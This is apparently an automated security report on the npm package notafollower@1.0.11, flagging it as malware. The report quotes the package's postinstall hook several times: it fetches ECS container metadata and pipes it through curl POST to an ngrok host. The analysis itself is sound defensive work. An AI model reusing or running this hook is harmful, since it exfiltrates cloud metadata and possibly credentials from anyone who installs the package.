notafollower@1.0.11: Malicious npm security report (Block)

AI Security Review

scanned 2d ago · by lpm-firewall-ai

Automatic install-time collection and exfiltration of ECS container metadata. The metadata response is sent to an external ngrok endpoint.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm package installation, via postinstall.

Impact

Can expose container/task metadata and potentially cloud credentials or service configuration.

Mechanism

Fetches ECS metadata and pipes it to curl POST.

Attack narrative

On installation, the postinstall command reads the ECS metadata URL supplied by ECS_CONTAINER_METADATA_URI_V4, prints the HTTP status and response body, then pipes that output to curl. Curl POSTs the data to an attacker-controlled ngrok host, creating an automatic cloud-environment metadata exfiltration path.

Rationale

The sole package behavior is an unconsented postinstall metadata fetch followed by external transmission. This is a concrete credential/data-exfiltration chain, not a benign package feature.

Evidence

package.json

Network endpoints1

mourner-slot-explicit.ngrok-free.dev

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json defines a postinstall hook that fetches the ECS container metadata endpoint from an environment variable and pipes its response to an external ngrok host.
The hook runs automatically during npm installation and POSTs the collected response as request data.

Evidence against

The package contains only package.json; no legitimate package functionality is present.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

3 flagged

package.jsonView file

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>console.log(r.status,await r.text())).catch(console.error)" | curl -X POST 'https://mourner-slot-explicit.ng...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>console.log(r.status,await r.text())).catch(console.error)" | curl -X POST 'https://mourner-slot-explicit.ng...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "node -e \"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>console.log(r.status,await r.text())).catch(console.error)\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-"

High

Suspicious Lifecycle Evidence

package.json defines a postinstall hook that fetches the ECS container metadata endpoint from an environment variable and pipes its response to an external ngrok host.

package.jsonView on unpkg · L5

Source & flagged code

3 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>console.log(r.status,await r.text())).catch(console.error)" | curl -X POST 'https://mourner-slot-explicit.ng...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>console.log(r.status,await r.text())).catch(console.error)" | curl -X POST 'https://mourner-slot-explicit.ng...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "node -e \"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4).then(async r=>console.log(r.status,await r.text())).catch(console.error)\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-"

High

Suspicious Lifecycle Evidence

package.json defines a postinstall hook that fetches the ECS container metadata endpoint from an environment variable and pipes its response to an external ngrok host.

package.jsonView on unpkg · L5

Findings

1 Critical2 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

LowScripts Present

LowNo License